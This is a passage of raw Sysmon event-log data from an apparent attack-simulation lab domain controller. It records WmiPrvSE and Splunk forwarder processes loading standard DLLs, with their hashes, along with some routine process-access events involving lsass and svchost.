(rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000058320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.549{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000058319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.549{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000058318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.549{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000058317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.549{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\WmiPrvSE.exe10.0.14393.2155 (rs1_release_1.180305-1842)WMI Provider HostMicrosoft® Windows® Operating SystemMicrosoft CorporationWmiprvse.exeMD5=E1BCE838CD2695999AB34215BF94B501,SHA256=1D7B11C9DEDDAD4F77E5B7F01DDDDA04F3747E512E0AA23D39E4226854D26CA2,IMPHASH=20C3512CFF09FABFB994B8B9DBF73B4FtrueMicrosoft WindowsValid 10341000x800000000000000058316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.549{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000058315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.549{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-7599-613B-C50B-00000000F001}5952C:\Windows\system32\wbem\wmiprvse.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+36349|c:\windows\system32\rpcss.dll+3bb32|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.549{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.549{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000058312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.549{7BD73061-65B0-613B-0B00-00000000F001}620828C:\Windows\system32\lsass.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+1a16d|C:\Windows\system32\lsasrv.dll+2704b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000058311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.471{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000058310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.471{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000058309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.471{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000058308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.471{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000058307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.471{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000058306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.471{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000058305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.471{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000058304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000058303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000058302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000058301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000058300Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000058299Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000058298Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000058297Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\winspool.drv10.0.14393.4169 (rs1_release.210107-1130)Windows Spooler DriverMicrosoft® Windows® Operating SystemMicrosoft Corporationwinspool.drvMD5=D21FAA584F844E61375D95B5BE9115EE,SHA256=E221EA0081FDE7AAAD71A38016A8D470082B3732E9ED2D8ED7C97E9F41AF0045,IMPHASH=2005807FD04567B79F4109D23F9E6018trueMicrosoft WindowsValid 734700x800000000000000058296Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000058295Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000058294Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000058293Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000058292Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000058291Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000058290Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000058289Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000058288Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000058287Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000058286Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000058285Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000058284Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000058283Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000058282Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000058281Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000058280Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000058279Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000058278Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:11:21.456{7BD73061-7599-613B-C40B-00000000F001}1920C:\Program 